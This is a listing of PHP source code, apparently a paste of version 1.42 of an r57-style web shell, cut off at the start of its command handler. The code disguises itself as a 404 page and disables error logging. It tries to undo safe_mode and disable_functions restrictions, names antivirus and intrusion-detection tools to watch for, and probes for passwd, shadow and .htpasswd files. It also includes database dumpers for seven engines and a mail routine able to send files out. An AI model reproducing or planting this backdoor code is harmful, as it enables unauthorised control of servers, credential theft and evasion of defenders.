· 10 years ago · Aug 06, 2016, 02:24 PM
1<?php
2
3
4
5if(preg_match("/bot/", $_SERVER[HTTP_USER_AGENT])) {header("HTTP/1.0 404");exit("<h1>Not Found</h1>");}
6
7
8
9$language='eng';
10
11
12
13$auth = 0;
14
15
16
17$name='';
18
19$pass='';
20
21
22
23//ru_RU, //ru_RU.cp1251, //ru_RU.iso88595, //ru_RU.koi8r, //ru_RU.utf8
24
25@setlocale(LC_ALL,'ru_RU.cp1251');
26
27
28
29@ini_restore("safe_mode");
30
31@ini_restore("open_basedir");
32
33@ini_restore("safe_mode_include_dir");
34
35@ini_restore("safe_mode_exec_dir");
36
37@ini_restore("disable_functions");
38
39@ini_restore("allow_url_fopen");
40
41
42
43if(@function_exists('ini_set'))
44
45 {
46
47 @ini_set('error_log',NULL);
48
49 @ini_set('log_errors',0);
50
51 @ini_set('file_uploads',1);
52
53 @ini_set('allow_url_fopen',1);
54
55 }
56
57else
58
59 {
60
61 @ini_alter('error_log',NULL);
62
63 @ini_alter('log_errors',0);
64
65 @ini_alter('file_uploads',1);
66
67 @ini_alter('allow_url_fopen',1);
68
69 }
70
71
72
73error_reporting(E_ALL);
74
75
76
77/* ??? ????? */
78
79$userful = array('gcc',', lcc',', cc',', ld',', php',', perl',', python',', ruby',', make',', tar',', gzip',', bzip',', bzip2',', nc',', locate',', suidperl');
80
81$danger = array(', kav',', nod32',', bdcored',', uvscan',', sav',', drwebd',', clamd',', rkhunter',', chkrootkit',', iptables',', ipfw',', tripwire',', shieldcc',', portsentry',', snort',', ossec',', lidsadm',', tcplodg',', sxid',', logcheck',', logwatch',', sysmask',', zmbscap',', sawmill',', wormscan',', ninja');
82
83$tempdirs = array(@ini_get('session.save_path').'/',@ini_get('upload_tmp_dir').'/','/tmp/','/dev/shm/','/var/tmp/');
84
85$downloaders = array('wget','fetch','lynx','links','curl','get');
86
87
88
89/* ??? ?????? ???????? ???? ????? realpath() */
90
91//$chars_rlph = "_-.01234567890abcdefghijklnmopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
92
93//$chars_rlph = "_-.01234567890abcdefghijklnmopqrstuvwxyz";
94
95//$chars_rlph = "_-.ABCDEFGHIJKLMNOPQRSTUVWXYZ";
96
97//$chars_rlph = "_-.abcdefghijklnmopqrstuvwxyz";
98
99//$chars_rlph = "_-.01234567890";
100
101$chars_rlph = "abcdefghijklnmopqrstuvwxyz";
102
103
104
105$presets_rlph = array('index.php','.htaccess','.htpasswd','httpd.conf','vhosts.conf','cfg.php','config.php','config.inc.php','config.default.php','config.inc.php',
106
107'shadow','passwd','.bash_history','.mysql_history','master.passwd','user','admin','password','administrator','phpMyAdmin','security','php.ini','cdrom','root',
108
109'my.cnf','pureftpd.conf','proftpd.conf','ftpd.conf','resolv.conf','login.conf','smb.conf','sysctl.conf','syslog.conf','access.conf','accounting.log','home','htdocs',
110
111'access','auth','error','backup','data','back','sysconfig','phpbb','phpbb2','vbulletin','vbullet','phpnuke','cgi-bin','html','robots.txt','billing');
112
113
114
115/******************************************************************************************************/
116
117
118
119define("starttime",@getmicrotime());
120
121
122
123if((!@function_exists('ini_get')) || (@ini_get('open_basedir')!=NULL) || (@ini_get('safe_mode_include_dir')!=NULL)){$open_basedir=1;} else{$open_basedir=0;};
124
125
126
127set_magic_quotes_runtime(0);
128
129@set_time_limit(0);
130
131if(@function_exists('ini_set'))
132
133 {
134
135 @ini_set('max_execution_time',0);
136
137 @ini_set('output_buffering',0);
138
139 }
140
141else
142
143 {
144
145 @ini_alter('max_execution_time',0);
146
147 @ini_alter('output_buffering',0);
148
149 }
150
151$safe_mode = @ini_get('safe_mode');
152
153#if(@function_exists('ini_get')){$safe_mode = @ini_get('safe_mode');}else{$safe_mode=1;};
154
155$version = '1.42';
156
157if(@version_compare(@phpversion(), '4.1.0') == -1)
158
159 {
160
161 $_POST = &$HTTP_POST_VARS;
162
163 $_GET = &$HTTP_GET_VARS;
164
165 $_SERVER = &$HTTP_SERVER_VARS;
166
167 $_COOKIE = &$HTTP_COOKIE_VARS;
168
169 }
170
171if (@get_magic_quotes_gpc())
172
173 {
174
175 foreach ($_POST as $k=>$v)
176
177 {
178
179 $_POST[$k] = stripslashes($v);
180
181 }
182
183 foreach ($_COOKIE as $k=>$v)
184
185 {
186
187 $_COOKIE[$k] = stripslashes($v);
188
189 }
190
191 }
192
193
194
195if($auth == 1) {
196
197if (!isset($_SERVER['PHP_AUTH_USER']) || md5($_SERVER['PHP_AUTH_USER'])!==$name || md5($_SERVER['PHP_AUTH_PW'])!==$pass)
198
199 {
200
201 header('WWW-Authenticate: Basic realm="HELLO!"');
202
203 header('HTTP/1.0 401 Unauthorized');
204
205 exit("<h1>Access Denied</h1>");
206
207 }
208
209}
210
211
212
213if(!isset($_COOKIE['tempdir'],$_COOKIE['select_tempdir'])) {
214
215 $tempdir='./';
216
217 $select_tempdir = '<select name=tempdir><option value="./">./</option>';
218
219 foreach( $tempdirs as $item) {
220
221 if(@is_writable($item)){$select_tempdir .= '<option value="'.$item.'">'.$item.'</option>';$tempdir=$item;}
222
223 }
224
225 $select_tempdir .= '</select>';
226
227 setcookie('tempdir',$tempdir);
228
229 setcookie('select_tempdir',$select_tempdir);
230
231}else{
232
233 if(isset($_POST['tempdir'])){$tempdir = $_POST['tempdir'];}else{$tempdir = $_COOKIE['tempdir'];}
234
235 $select_tempdir = $_COOKIE['select_tempdir'];
236
237}
238
239
240
241$head = '
242
243<html>
244
245<head>
246
247<title>Not Found</title>
248
249<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
250
251
252
253<STYLE>
254
255tr {
256
257BORDER-RIGHT: #aaaaaa 1px solid;
258
259BORDER-TOP: #eeeeee 1px solid;
260
261BORDER-LEFT: #eeeeee 1px solid;
262
263BORDER-BOTTOM: #aaaaaa 1px solid;
264
265color: #000000;
266
267}
268
269td {
270
271BORDER-RIGHT: #aaaaaa 1px solid;
272
273BORDER-TOP: #eeeeee 1px solid;
274
275BORDER-LEFT: #eeeeee 1px solid;
276
277BORDER-BOTTOM: #aaaaaa 1px solid;
278
279color: #000000;
280
281}
282
283.table1 {
284
285BORDER: 0px;
286
287BACKGROUND-COLOR: #D4D0C8;
288
289color: #000000;
290
291}
292
293.td1 {
294
295BORDER: 0px;
296
297font: 7pt Verdana;
298
299color: #000000;
300
301}
302
303.tr1 {
304
305BORDER: 0px;
306
307color: #000000;
308
309}
310
311table {
312
313BORDER: #eeeeee 1px outset;
314
315BACKGROUND-COLOR: #D4D0C8;
316
317color: #000000;
318
319}
320
321input {
322
323BORDER-RIGHT: #ffffff 1px solid;
324
325BORDER-TOP: #999999 1px solid;
326
327BORDER-LEFT: #999999 1px solid;
328
329BORDER-BOTTOM: #ffffff 1px solid;
330
331BACKGROUND-COLOR: #e4e0d8;
332
333font: 8pt Verdana;
334
335color: #000000;
336
337}
338
339select {
340
341BORDER-RIGHT: #ffffff 1px solid;
342
343BORDER-TOP: #999999 1px solid;
344
345BORDER-LEFT: #999999 1px solid;
346
347BORDER-BOTTOM: #ffffff 1px solid;
348
349BACKGROUND-COLOR: #e4e0d8;
350
351font: 8pt Verdana;
352
353color: #000000;;
354
355}
356
357submit {
358
359BORDER: buttonhighlight 2px outset;
360
361BACKGROUND-COLOR: #e4e0d8;
362
363width: 30%;
364
365color: #000000;
366
367}
368
369textarea {
370
371BORDER-RIGHT: #ffffff 1px solid;
372
373BORDER-TOP: #999999 1px solid;
374
375BORDER-LEFT: #999999 1px solid;
376
377BORDER-BOTTOM: #ffffff 1px solid;
378
379BACKGROUND-COLOR: #e4e0d8;
380
381font: Fixedsys bold;
382
383color: #000000;
384
385}
386
387BODY {
388
389margin: 1px;
390
391color: #000000;
392
393background-color: #e4e0d8;
394
395}
396
397A:link {COLOR:red; TEXT-DECORATION: none}
398
399A:visited { COLOR:red; TEXT-DECORATION: none}
400
401A:active {COLOR:red; TEXT-DECORATION: none}
402
403A:hover {color:blue;TEXT-DECORATION: none}
404
405</STYLE>
406
407<script language=\'javascript\'>
408
409function hide_div(id)
410
411{
412
413 document.getElementById(id).style.display = \'none\';
414
415 document.cookie=id+\'=0;\';
416
417}
418
419function show_div(id)
420
421{
422
423 document.getElementById(id).style.display = \'block\';
424
425 document.cookie=id+\'=1;\';
426
427}
428
429function change_divst(id)
430
431{
432
433 if (document.getElementById(id).style.display == \'none\')
434
435 show_div(id);
436
437 else
438
439 hide_div(id);
440
441}
442
443
444
445
446
447</script>';
448
449class zipfile
450
451{
452
453 var $datasec = array();
454
455 var $ctrl_dir = array();
456
457 var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
458
459 var $old_offset = 0;
460
461 function unix2DosTime($unixtime = 0) {
462
463 $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
464
465 if ($timearray['year'] < 1980) {
466
467 $timearray['year'] = 1980;
468
469 $timearray['mon'] = 1;
470
471 $timearray['mday'] = 1;
472
473 $timearray['hours'] = 0;
474
475 $timearray['minutes'] = 0;
476
477 $timearray['seconds'] = 0;
478
479 }
480
481 return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
482
483 ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
484
485 }
486
487 function addFile($data, $name, $time = 0)
488
489 {
490
491 $name = str_replace('\\', '/', $name);
492
493 $dtime = dechex($this->unix2DosTime($time));
494
495 $hexdtime = '\x' . $dtime[6] . $dtime[7]
496
497 . '\x' . $dtime[4] . $dtime[5]
498
499 . '\x' . $dtime[2] . $dtime[3]
500
501 . '\x' . $dtime[0] . $dtime[1];
502
503 eval('$hexdtime = "' . $hexdtime . '";');
504
505 $fr = "\x50\x4b\x03\x04";
506
507 $fr .= "\x14\x00";
508
509 $fr .= "\x00\x00";
510
511 $fr .= "\x08\x00";
512
513 $fr .= $hexdtime;
514
515 $unc_len = strlen($data);
516
517 $crc = crc32($data);
518
519 $zdata = gzcompress($data);
520
521 $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
522
523 $c_len = strlen($zdata);
524
525 $fr .= pack('V', $crc);
526
527 $fr .= pack('V', $c_len);
528
529 $fr .= pack('V', $unc_len);
530
531 $fr .= pack('v', strlen($name));
532
533 $fr .= pack('v', 0);
534
535 $fr .= $name;
536
537 $fr .= $zdata;
538
539 $this -> datasec[] = $fr;
540
541 $cdrec = "\x50\x4b\x01\x02";
542
543 $cdrec .= "\x00\x00";
544
545 $cdrec .= "\x14\x00";
546
547 $cdrec .= "\x00\x00";
548
549 $cdrec .= "\x08\x00";
550
551 $cdrec .= $hexdtime;
552
553 $cdrec .= pack('V', $crc);
554
555 $cdrec .= pack('V', $c_len);
556
557 $cdrec .= pack('V', $unc_len);
558
559 $cdrec .= pack('v', strlen($name) );
560
561 $cdrec .= pack('v', 0 );
562
563 $cdrec .= pack('v', 0 );
564
565 $cdrec .= pack('v', 0 );
566
567 $cdrec .= pack('v', 0 );
568
569 $cdrec .= pack('V', 32 );
570
571 $cdrec .= pack('V', $this -> old_offset );
572
573 $this -> old_offset += strlen($fr);
574
575 $cdrec .= $name;
576
577 $this -> ctrl_dir[] = $cdrec;
578
579 }
580
581 function file()
582
583 {
584
585 $data = implode('', $this -> datasec);
586
587 $ctrldir = implode('', $this -> ctrl_dir);
588
589 return
590
591 $data .
592
593 $ctrldir .
594
595 $this -> eof_ctrl_dir .
596
597 pack('v', sizeof($this -> ctrl_dir)) .
598
599 pack('v', sizeof($this -> ctrl_dir)) .
600
601 pack('V', strlen($ctrldir)) .
602
603 pack('V', strlen($data)) .
604
605 "\x00\x00";
606
607 }
608
609}
610
611
612
613function compress(&$filename,&$filedump,$compress)
614
615 {
616
617 global $content_encoding;
618
619 global $mime_type;
620
621 if ($compress == 'bzip' && @function_exists('bzcompress'))
622
623 {
624
625 $filename .= '.bz2';
626
627 $mime_type = 'application/x-bzip2';
628
629 $filedump = bzcompress($filedump);
630
631 }
632
633 else if ($compress == 'gzip' && @function_exists('gzencode'))
634
635 {
636
637 $filename .= '.gz';
638
639 $content_encoding = 'x-gzip';
640
641 $mime_type = 'application/x-gzip';
642
643 $filedump = gzencode($filedump);
644
645 }
646
647 else if ($compress == 'zip' && @function_exists('gzcompress'))
648
649 {
650
651 $filename .= '.zip';
652
653 $mime_type = 'application/zip';
654
655 $zipfile = new zipfile();
656
657 $zipfile -> addFile($filedump, substr($filename, 0, -4));
658
659 $filedump = $zipfile -> file();
660
661 }
662
663 else
664
665 {
666
667 $mime_type = 'application/octet-stream';
668
669 }
670
671 }
672
673
674
675function moreread($temp){
676
677global $lang,$language;
678
679$str='';
680
681 if(@function_exists('fopen')&&@function_exists('feof')&&@function_exists('fgets')&&@function_exists('feof')&&@function_exists('fclose') && ($ffile = @fopen($temp, "r"))){
682
683 if($ffile){
684
685 while(!@feof($ffile)){$str .= @fgets($ffile);};
686
687 fclose($ffile);
688
689 }
690
691 }elseif(@function_exists('fopen')&&@function_exists('fread')&&@function_exists('fclose')&&@function_exists('filesize')&&($ffile = @fopen($temp, "r"))){
692
693 if($ffile){
694
695 $str = @fread($ffile, @filesize($temp));
696
697 @fclose($ffile);
698
699 }
700
701 }elseif(@function_exists('file')&&($ffiles = @file($temp))){
702
703 foreach ($ffiles as $ffile) { $str .= $ffile; }
704
705 }elseif(@function_exists('file_get_contents')){
706
707 $str = @file_get_contents($temp);
708
709 }elseif(@function_exists('readfile')){
710
711 $str = @readfile($temp);
712
713 }elseif(@function_exists('highlight_file')){
714
715 $str = @highlight_file($temp);
716
717 }elseif(@function_exists('show_source')){
718
719 $str = @show_source($temp);
720
721 }else{echo $lang[$language.'_text56'];}
722
723return $str;
724
725}
726
727
728
729function readzlib($filename,$temp=''){
730
731global $lang,$language;
732
733$str='';
734
735 if(!$temp) {$temp=tempnam(@getcwd(), "copytemp");};
736
737 if(@copy("compress.zlib://".$filename, $temp)) {
738
739 $str = moreread($temp);
740
741 } else echo $lang[$language.'_text119'];
742
743 @unlink($temp);
744
745return $str;
746
747}
748
749
750
751function morewrite($temp,$str='')
752
753{
754
755global $lang,$language;
756
757 if(@function_exists('fopen') && @function_exists('fwrite') && @function_exists('fclose') && ($ffile=@fopen($temp,"wb"))){
758
759 if($ffile){
760
761 @fwrite($ffile,$str);
762
763 @fclose($ffile);
764
765 }
766
767 }elseif(@function_exists('fopen') && @function_exists('fputs') && @function_exists('fclose') && ($ffile=@fopen($temp,"wb"))){
768
769 if($ffile){
770
771 @fputs($ffile,$str);
772
773 @fclose($ffile);
774
775 }
776
777 }elseif(@function_exists('file_put_contents')){
778
779 @file_put_contents($temp,$str);
780
781 }else return 0;
782
783return 1;
784
785}
786
787
788
789function mailattach($to,$from,$subj,$attach)
790
791 {
792
793 $headers = "From: $from\r\n";
794
795 $headers .= "MIME-Version: 1.0\r\n";
796
797 $headers .= "Content-Type: ".$attach['type'];
798
799 $headers .= "; name=\"".$attach['name']."\"\r\n";
800
801 $headers .= "Content-Transfer-Encoding: base64\r\n\r\n";
802
803 $headers .= chunk_split(base64_encode($attach['content']))."\r\n";
804
805 if(mail($to,$subj,"",$headers)) { return 1; }
806
807 return 0;
808
809 }
810
811class my_sql
812
813 {
814
815 var $host = 'localhost';
816
817 var $port = '';
818
819 var $user = '';
820
821 var $pass = '';
822
823 var $base = '';
824
825 var $db = '';
826
827 var $connection;
828
829 var $res;
830
831 var $error;
832
833 var $rows;
834
835 var $columns;
836
837 var $num_rows;
838
839 var $num_fields;
840
841 var $dump;
842
843
844
845 function connect()
846
847 {
848
849 switch($this->db)
850
851 {
852
853 case 'MySQL':
854
855 if(empty($this->port)) { $this->port = '3306'; }
856
857 if(!@function_exists('mysql_connect')) return 0;
858
859 $this->connection = @mysql_connect($this->host.':'.$this->port,$this->user,$this->pass);
860
861 if(is_resource($this->connection)) return 1;
862
863 break;
864
865 case 'MSSQL':
866
867 if(empty($this->port)) { $this->port = '1433'; }
868
869 if(!@function_exists('mssql_connect')) return 0;
870
871 $this->connection = @mssql_connect($this->host.','.$this->port,$this->user,$this->pass);
872
873 if($this->connection) return 1;
874
875 break;
876
877 case 'PostgreSQL':
878
879 if(empty($this->port)) { $this->port = '5432'; }
880
881 $str = "host='".$this->host."' port='".$this->port."' user='".$this->user."' password='".$this->pass."' dbname='".$this->base."'";
882
883 if(!@function_exists('pg_connect')) return 0;
884
885 $this->connection = @pg_connect($str);
886
887 if(is_resource($this->connection)) return 1;
888
889 break;
890
891 case 'Oracle':
892
893 if(!@function_exists('ocilogon')) return 0;
894
895 $this->connection = @ocilogon($this->user, $this->pass, $this->base);
896
897 if(is_resource($this->connection)) return 1;
898
899 break;
900
901 case 'MySQLi':
902
903 if(empty($this->port)) { $this->port = '3306'; }
904
905 if(!@function_exists('mysqli_connect')) return 0;
906
907 $this->connection = @mysqli_connect($this->host,$this->user,$this->pass,$this->base,$this->port);
908
909 if(is_resource($this->connection)) return 1;
910
911 break;
912
913 case 'mSQL':
914
915 if(!@function_exists('msql_connect')) return 0;
916
917 $this->connection = @msql_connect($this->host.':'.$this->port,$this->user,$this->pass);
918
919 if(is_resource($this->connection)) return 1;
920
921 break;
922
923 case 'SQLite':
924
925 if(!@function_exists('sqlite_open')) return 0;
926
927 $this->connection = @sqlite_open($this->base);
928
929 if(is_resource($this->connection)) return 1;
930
931 break;
932
933 }
934
935 return 0;
936
937 }
938
939
940
941 function select_db()
942
943 {
944
945 switch($this->db)
946
947 {
948
949 case 'MySQL':
950
951 if(@mysql_select_db($this->base,$this->connection)) return 1;
952
953 break;
954
955 case 'MSSQL':
956
957 if(@mssql_select_db($this->base,$this->connection)) return 1;
958
959 break;
960
961 case 'PostgreSQL':
962
963 return 1;
964
965 break;
966
967 case 'Oracle':
968
969 return 1;
970
971 break;
972
973 case 'MySQLi':
974
975 return 1;
976
977 break;
978
979 case 'mSQL':
980
981 if(@msql_select_db($this->base,$this->connection)) return 1;
982
983 break;
984
985 case 'SQLite':
986
987 return 1;
988
989 break;
990
991 }
992
993 return 0;
994
995 }
996
997
998
999 function query($query)
1000
1001 {
1002
1003 $this->res=$this->error='';
1004
1005 switch($this->db)
1006
1007 {
1008
1009 case 'MySQL':
1010
1011 if(false===($this->res=@mysql_query('/*'.chr(0).'*/'.$query,$this->connection)))
1012
1013 {
1014
1015 $this->error = @mysql_error($this->connection);
1016
1017 return 0;
1018
1019 }
1020
1021 else if(is_resource($this->res)) { return 1; }
1022
1023 return 2;
1024
1025 break;
1026
1027 case 'MSSQL':
1028
1029 if(false===($this->res=@mssql_query($query,$this->connection)))
1030
1031 {
1032
1033 $this->error = 'Query error';
1034
1035 return 0;
1036
1037 }
1038
1039 else if(@mssql_num_rows($this->res) > 0) { return 1; }
1040
1041 return 2;
1042
1043 break;
1044
1045 case 'PostgreSQL':
1046
1047 if(false===($this->res=@pg_query($this->connection,$query)))
1048
1049 {
1050
1051 $this->error = @pg_last_error($this->connection);
1052
1053 return 0;
1054
1055 }
1056
1057 else if(@pg_num_rows($this->res) > 0) { return 1; }
1058
1059 return 2;
1060
1061 break;
1062
1063 case 'Oracle':
1064
1065 if(false===($this->res=@ociparse($this->connection,$query)))
1066
1067 {
1068
1069 $this->error = 'Query parse error';
1070
1071 }
1072
1073 else
1074
1075 {
1076
1077 if(@ociexecute($this->res))
1078
1079 {
1080
1081 if(@ocirowcount($this->res) != 0) return 2;
1082
1083 return 1;
1084
1085 }
1086
1087 $error = @ocierror();
1088
1089 $this->error=$error['message'];
1090
1091 }
1092
1093 break;
1094
1095 case 'MySQLi':
1096
1097 if(false===($this->res=@mysqli_query($this->connection,$query)))
1098
1099 {
1100
1101 $this->error = @mysqli_error($this->connection);
1102
1103 return 0;
1104
1105 }
1106
1107 else if(is_resource($this->res)) { return 1; }
1108
1109 return 2;
1110
1111 break;
1112
1113 case 'mSQL':
1114
1115 if(false===($this->res=@msql_query($query,$this->connection)))
1116
1117 {
1118
1119 $this->error = @msql_error($this->connection);
1120
1121 return 0;
1122
1123 }
1124
1125 else if(is_resource($this->res)) { return 1; }
1126
1127 return 2;
1128
1129 break;
1130
1131 case 'SQLite':
1132
1133 if(false===($this->res=@sqlite_query($this->connection,$query)))
1134
1135 {
1136
1137 $this->error = @sqlite_error_string($this->connection);
1138
1139 return 0;
1140
1141 }
1142
1143 else if(is_resource($this->res)) { return 1; }
1144
1145 return 2;
1146
1147 break;
1148
1149 }
1150
1151 return 0;
1152
1153 }
1154
1155 function get_result()
1156
1157 {
1158
1159 $this->rows=array();
1160
1161 $this->columns=array();
1162
1163 $this->num_rows=$this->num_fields=0;
1164
1165 switch($this->db)
1166
1167 {
1168
1169 case 'MySQL':
1170
1171 $this->num_rows=@mysql_num_rows($this->res);
1172
1173 $this->num_fields=@mysql_num_fields($this->res);
1174
1175 while(false !== ($this->rows[] = @mysql_fetch_assoc($this->res)));
1176
1177 @mysql_free_result($this->res);
1178
1179 if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}
1180
1181 break;
1182
1183 case 'MSSQL':
1184
1185 $this->num_rows=@mssql_num_rows($this->res);
1186
1187 $this->num_fields=@mssql_num_fields($this->res);
1188
1189 while(false !== ($this->rows[] = @mssql_fetch_assoc($this->res)));
1190
1191 @mssql_free_result($this->res);
1192
1193 if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;};
1194
1195 break;
1196
1197 case 'PostgreSQL':
1198
1199 $this->num_rows=@pg_num_rows($this->res);
1200
1201 $this->num_fields=@pg_num_fields($this->res);
1202
1203 while(false !== ($this->rows[] = @pg_fetch_assoc($this->res)));
1204
1205 @pg_free_result($this->res);
1206
1207 if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}
1208
1209 break;
1210
1211 case 'Oracle':
1212
1213 $this->num_fields=@ocinumcols($this->res);
1214
1215 while(false !== ($this->rows[] = @oci_fetch_assoc($this->res))) $this->num_rows++;
1216
1217 @ocifreestatement($this->res);
1218
1219 if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}
1220
1221 break;
1222
1223 case 'MySQLi':
1224
1225 $this->num_rows=@mysqli_num_rows($this->res);
1226
1227 $this->num_fields=@mysqli_num_fields($this->res);
1228
1229 while(false !== ($this->rows[] = @mysqli_fetch_assoc($this->res)));
1230
1231 @mysqli_free_result($this->res);
1232
1233 if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}
1234
1235 break;
1236
1237 case 'mSQL':
1238
1239 $this->num_rows=@msql_num_rows($this->res);
1240
1241 $this->num_fields=@msql_num_fields($this->res);
1242
1243 while(false !== ($this->rows[] = @msql_fetch_array($this->res)));
1244
1245 @msql_free_result($this->res);
1246
1247 if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}
1248
1249 break;
1250
1251 case 'SQLite':
1252
1253 $this->num_rows=@sqlite_num_rows($this->res);
1254
1255 $this->num_fields=@sqlite_num_fields($this->res);
1256
1257 while(false !== ($this->rows[] = @sqlite_fetch_array($this->res)));
1258
1259 if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}
1260
1261 break;
1262
1263 }
1264
1265 return 0;
1266
1267 }
1268
1269 function dump($table)
1270
1271 {
1272
1273 if(empty($table)) return 0;
1274
1275 $this->dump=array();
1276
1277 $this->dump[0] = '##';
1278
1279 $this->dump[1] = '## --------------------------------------- ';
1280
1281 $this->dump[2] = '## Created: '.date ("d/m/Y H:i:s");
1282
1283 $this->dump[3] = '## Database: '.$this->base;
1284
1285 $this->dump[4] = '## Table: '.$table;
1286
1287 $this->dump[5] = '## --------------------------------------- ';
1288
1289 switch($this->db)
1290
1291 {
1292
1293 case 'MySQL':
1294
1295 $this->dump[0] = '## MySQL dump';
1296
1297 if($this->query('/*'.chr(0).'*/ SHOW CREATE TABLE `'.$table.'`')!=1) return 0;
1298
1299 if(!$this->get_result()) return 0;
1300
1301 $this->dump[] = $this->rows[0]['Create Table'];
1302
1303 $this->dump[] = '## --------------------------------------- ';
1304
1305 if($this->query('/*'.chr(0).'*/ SELECT * FROM `'.$table.'`')!=1) return 0;
1306
1307 if(!$this->get_result()) return 0;
1308
1309 for($i=0;$i<$this->num_rows;$i++)
1310
1311 {
1312
1313 foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @mysql_real_escape_string($v);}
1314
1315 $this->dump[] = 'INSERT INTO `'.$table.'` (`'.@implode("`, `", $this->columns).'`) VALUES (\''.@implode("', '", $this->rows[$i]).'\');';
1316
1317 }
1318
1319 break;
1320
1321 case 'MSSQL':
1322
1323 $this->dump[0] = '## MSSQL dump';
1324
1325 if($this->query('SELECT * FROM '.$table)!=1) return 0;
1326
1327 if(!$this->get_result()) return 0;
1328
1329 for($i=0;$i<$this->num_rows;$i++)
1330
1331 {
1332
1333 foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);}
1334
1335 $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');';
1336
1337 }
1338
1339 break;
1340
1341 case 'PostgreSQL':
1342
1343 $this->dump[0] = '## PostgreSQL dump';
1344
1345 if($this->query('SELECT * FROM '.$table)!=1) return 0;
1346
1347 if(!$this->get_result()) return 0;
1348
1349 for($i=0;$i<$this->num_rows;$i++)
1350
1351 {
1352
1353 foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);}
1354
1355 $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');';
1356
1357 }
1358
1359 break;
1360
1361 case 'Oracle':
1362
1363 $this->dump[0] = '## ORACLE dump';
1364
1365 if($this->query('SELECT * FROM '.$table)!=1) return 0;
1366
1367 if(!$this->get_result()) return 0;
1368
1369 for($i=0;$i<$this->num_rows;$i++)
1370
1371 {
1372
1373 foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);}
1374
1375 $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');';
1376
1377 }
1378
1379 break;
1380
1381 case 'MySQLi':
1382
1383 $this->dump[0] = '## MySQLi dump';
1384
1385 if($this->query('SELECT * FROM '.$table)!=1) return 0;
1386
1387 if(!$this->get_result()) return 0;
1388
1389 for($i=0;$i<$this->num_rows;$i++)
1390
1391 {
1392
1393 foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @mysqli_real_escape_string($v);}
1394
1395 $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');';
1396
1397 }
1398
1399 break;
1400
1401 case 'mSQL':
1402
1403 $this->dump[0] = '## mSQL dump';
1404
1405 if($this->query('SELECT * FROM '.$table)!=1) return 0;
1406
1407 if(!$this->get_result()) return 0;
1408
1409 for($i=0;$i<$this->num_rows;$i++)
1410
1411 {
1412
1413 foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);}
1414
1415 $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');';
1416
1417 }
1418
1419 break;
1420
1421 case 'SQLite':
1422
1423 $this->dump[0] = '## SQLite dump';
1424
1425 if($this->query('SELECT * FROM '.$table)!=1) return 0;
1426
1427 if(!$this->get_result()) return 0;
1428
1429 for($i=0;$i<$this->num_rows;$i++)
1430
1431 {
1432
1433 foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);}
1434
1435 $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');';
1436
1437 }
1438
1439 break;
1440
1441 default:
1442
1443 return 0;
1444
1445 break;
1446
1447 }
1448
1449 return 1;
1450
1451 }
1452
1453 function close()
1454
1455 {
1456
1457 switch($this->db)
1458
1459 {
1460
1461 case 'MySQL':
1462
1463 @mysql_close($this->connection);
1464
1465 break;
1466
1467 case 'MSSQL':
1468
1469 @mssql_close($this->connection);
1470
1471 break;
1472
1473 case 'PostgreSQL':
1474
1475 @pg_close($this->connection);
1476
1477 break;
1478
1479 case 'Oracle':
1480
1481 @oci_close($this->connection);
1482
1483 break;
1484
1485 case 'MySQLi':
1486
1487 @mysqli_close($this->connection);
1488
1489 break;
1490
1491 case 'mSQL':
1492
1493 @msql_close($this->connection);
1494
1495 break;
1496
1497 case 'SQLite':
1498
1499 @sqlite_close($this->connection);
1500
1501 break;
1502
1503 }
1504
1505 }
1506
1507 function affected_rows()
1508
1509 {
1510
1511 switch($this->db)
1512
1513 {
1514
1515 case 'MySQL':
1516
1517 return @mysql_affected_rows($this->res);
1518
1519 break;
1520
1521 case 'MSSQL':
1522
1523 return @mssql_affected_rows($this->res);
1524
1525 break;
1526
1527 case 'PostgreSQL':
1528
1529 return @pg_affected_rows($this->res);
1530
1531 break;
1532
1533 case 'Oracle':
1534
1535 return @ocirowcount($this->res);
1536
1537 break;
1538
1539 case 'MySQLi':
1540
1541 return @mysqli_affected_rows($this->res);
1542
1543 break;
1544
1545 case 'mSQL':
1546
1547 return @msql_affected_rows($this->res);
1548
1549 break;
1550
1551 case 'SQLite':
1552
1553 return @sqlite_changes($this->res);
1554
1555 break;
1556
1557 default:
1558
1559 return 0;
1560
1561 break;
1562
1563 }
1564
1565 }
1566
1567 }
1568
1569if(isset($_POST['cmd']) && $_POST['cmd']=="download_file" && !empty($_POST['d_name']))
1570
1571 {
1572
1573 if($file=moreread($_POST['d_name'])){ $filedump = $file; }
1574
